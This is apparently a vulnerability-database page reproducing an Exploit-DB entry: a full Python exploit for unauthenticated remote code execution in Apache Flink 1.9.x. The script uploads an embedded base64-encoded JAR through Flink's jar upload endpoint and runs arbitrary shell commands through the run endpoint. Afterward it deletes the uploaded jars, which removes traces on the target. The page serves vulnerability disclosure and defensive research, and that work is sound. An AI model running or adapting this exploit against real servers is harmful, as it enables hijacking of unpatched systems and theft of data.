Lucene search
K

Apache Flink 1.9.x - File Upload RCE (Unauthenticated)

🗓️ 02 Nov 2020 00:00:00Reported by bigger.wingType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 1207 Views

Apache Flink 1.9.x File Upload RCE (Unauthenticated) exploi

Code
#!/usr/bin/env python3
# _*_ coding: utf-8 _*_

# Exploit Title: Apache Flink 1.9.x - File Upload RCE (Unauthenticated)
# Google Dork: None
# Date: 2020.11.01
# Exploit Author: bigger.wing
# Vendor Homepage: https://flink.apache.org/
# Software Link: https://flink.apache.org/downloads.html
# Version: 1.9.x
# Tested on: Centos7.x, 1.9.1
# CVE: None

import io
import re
import sys
import base64
import requests


class FlinkRCECheck:

    def __init__(self, url):
        self.url = url
        self.timeout = 10
        self.upload_file = 'rce_check_from_sec.jar'
        self.headers = {
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) '
                          'Chrome/61.0 Safari/537.36'
        }

    @property
    def get_version(self):
        url = '%s/%s' % (self.url, 'config')
        try:
            res = requests.get(url, headers=self.headers, timeout=self.timeout, verify=False)
            version = res.json().get('flink-version')
        except:
            version = 'unknown'
        return version

    @property
    def jar_check(self):
        url = '%s/%s' % (self.url, 'jars')
        jar_list = []
        try:
            res = requests.get(url, headers=self.headers, verify=False, timeout=self.timeout)
            if res.status_code == 200 and 'application/json' in res.headers.get('Content-Type', ''):
                res = res.json()
                for file in res['files']:
                    if file['id'].endswith(self.upload_file):
                        jar_list.append(file['id'])
        except Exception as e:
            pass

        return jar_list

    @property
    def jar_upload(self):
        url = '%s/%s' % (self.url, 'jars/upload')
        jar_content = base64.b64decode('UEsDBBQACAgIACJ1bU8AAAAAAAAAAAAAAAAUAAQATUVUQS1JTkYvTUFOSUZFU1QuTUb+ygAA803My'
                                       '0xLLS7RDUstKs7Mz7NSMNQz4OXyTczM03XOSSwutlJwrUhNLi1J5eXi5QIAUEsHCIiKCL8wAAAALg'
                                       'AAAFBLAwQKAAAIAAAidW1PAAAAAAAAAAAAAAAACQAAAE1FVEEtSU5GL1BLAwQUAAgICAAidW1PAAA'
                                       'AAAAAAAAAAAAADQAAAEV4ZWN1dGUuY2xhc3ONVet2E1UU/k4yyUwmQy+TQlsQBdSStqSxiIotIlAK'
                                       'VkJbSa0G8DKZHpPTJjNhLjTVCvoQ/ugT8MsfqCtx0aUPwEOx3Gdo09KGtUzW7H3O3vvbt7PPzPMXz'
                                       '/4FMIlfdbyDyxo+1XBFx1Vc05HCjIbrks+quKHipobPNMzp0PC5hlsqChpu6+jBvCQLGhal6gsVd3'
                                       'QUsaRjAF9qWJb8K0m+lqQkyd0URbin4r6OkzLoN5J/K8l3Or6HpaKswmZIXhKOCC4zxLOjywzKjLv'
                                       'CGXoLwuHzYb3MvSWrXCOJWXBtq7ZseULud4RKUBU+Q6ow2+R2GPBpEtUt4TAcy94rrFoPrXzNcir5'
                                       'YuAJpzItA7AGw/F9qkXPtbnvXwtFbYV75CDeCDZkuENo8m15FQqX6eKaHLuEtesrtJI2h0NIG7ujC'
                                       'QNRyxdty3GiqPps0+aNQLiOr4J86EU39Gx+Q8gyjZ3yJiTSwLsYYQCD6voTjlXnKriBH1AxUIWgJN'
                                       'aFY2AVawxDr6uToe9gCeSPsp/gTQoYy9syTI5k+bJw8n6VkogAws2/zCkVKcqWX5WWNQN1UNtjOQK'
                                       '6oB73H6pSxQMDHnxpH5Dp/asGQjw0sA7KtwlhYAMjBn7ETwyDB9PrJB7fvLJpYBM/G3gEoeKxgV9Q'
                                       'o0x3mvRKaQvlVW5TsMyeqNPoV3uw4Qe8zpCu8IBa1eCenIKRbJch6nb46cAtuOvcm7F8SmAg29VIs'
                                       '10noOmk8Tix3/FM1fKK/EHIHZtPj95lONotLM1ukjeFH/jRXSGzhB9YXiDNR7tOW/8hIUMP1TfnNM'
                                       'KA3HKLCh7cBdPJ7lMQfCjbVSETMUKfX+c1UReBPJKzr2/TgTFXq5Y/z5uUtOJELGHXXNmyuBvKSjo'
                                       'RF8nJXipJq9HgDl2L3P86kL3LrAXu7nRnurim+A25w2m8Te9G+YvRxaILRvQs7fLE6a4hMdYGexqp'
                                       's0STkZBhlKjx0gBjGCeewjnkyIrAbInskiT7y4wVxuLnb5vxv6G0kDCTLahbOLUNrZT8B6lS3NSLJ'
                                       'cVMF0uJc8U2jPknuGAemVK20VMye9voa6F/C6rZK0W7mGFFYswOJtdCRuoHSsMU5Ggbx8zBFoamEs'
                                       'OJFoa3kJb8+BMo4wW5OvEH3tjGyVIbb5pvtXBqnJ5o0cLpFs7s1fohjhCN01+BSvUMEr1AdV6Ejpt'
                                       'I4xbpOXqxhj66kP34DSb+RCbqzR36WEwScoIaGSdEDu/RXpE9wXm8H/l9St4m5dsMv+MDWsXI28IO'
                                       'Yg1zFP8jQjwifhEfU5+nCKWQ/TQ9l6IsP/kPUEsHCEEOnKXWAwAA4gYAAFBLAQIUABQACAgIACJ1b'
                                       'U+Iigi/MAAAAC4AAAAUAAQAAAAAAAAAAAAAAAAAAABNRVRBLUlORi9NQU5JRkVTVC5NRv7KAABQSw'
                                       'ECCgAKAAAIAAAidW1PAAAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAB2AAAATUVUQS1JTkYvUEsBAhQ'
                                       'AFAAICAgAInVtT0EOnKXWAwAA4gYAAA0AAAAAAAAAAAAAAAAAnQAAAEV4ZWN1dGUuY2xhc3NQSwUG'
                                       'AAAAAAMAAwC4AAAArgQAAAAA')
        files = {'jarfile': (self.upload_file, io.BytesIO(jar_content), 'application/octet-stream')}

        try:
            res = requests.post(url, headers=self.headers, files=files, timeout=self.timeout, verify=False)
            file_id = res.json()['filename'].split('/')[-1]
            return file_id
        except Exception as e:
            res = False
        return res

    @property
    # delete history jar packages
    def jar_delete(self):
        for jar_name in self.jar_check:
            url = '%s//jars/%s' % (self.url, jar_name)
            try:
                requests.delete(url=url, headers=self.headers, timeout=self.timeout, verify=False)
            except:
                pass
        return

    def rce(self, command):
        jar_file = self.jar_upload
        try:
            execute_cmd_url = '%s/jars/%s/run?entry-class=Execute&program-args="%s"' % (self.url, jar_file, command)
            res = requests.post(url=execute_cmd_url, headers=self.headers, timeout=self.timeout, verify=False)
            res = re.findall('\|@\|(.*?)\|@\|', res.text)[0][0:-2]
            if res:
                print('rce command "%s" exec result: %s' % (command, res))
                state = 1
                msg = '%s rce success' % self.url
            else:
                state = 0
                msg = '%s rce failed' % self.url
        except:
            state = 0
            msg = '%s rce failed' % self.url

        delete = self.jar_delete

        return {'state': state, 'version': self.get_version, 'msg': msg}


if __name__ == '__main__':
    usage = 'python3 script.py ip port command'
    if len(sys.argv) != 4:
        print('simple usage: %s' % usage)
    else:
        ip = sys.argv[1]
        port = sys.argv[2]
        command = sys.argv[3]
        url = 'http://%s:%s' % (ip, port)
        res = FlinkRCECheck(url=url).rce(command=command)
        print(res)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Nov 2020 00:00Current
7.4High risk
Vulners AI Score7.4
1207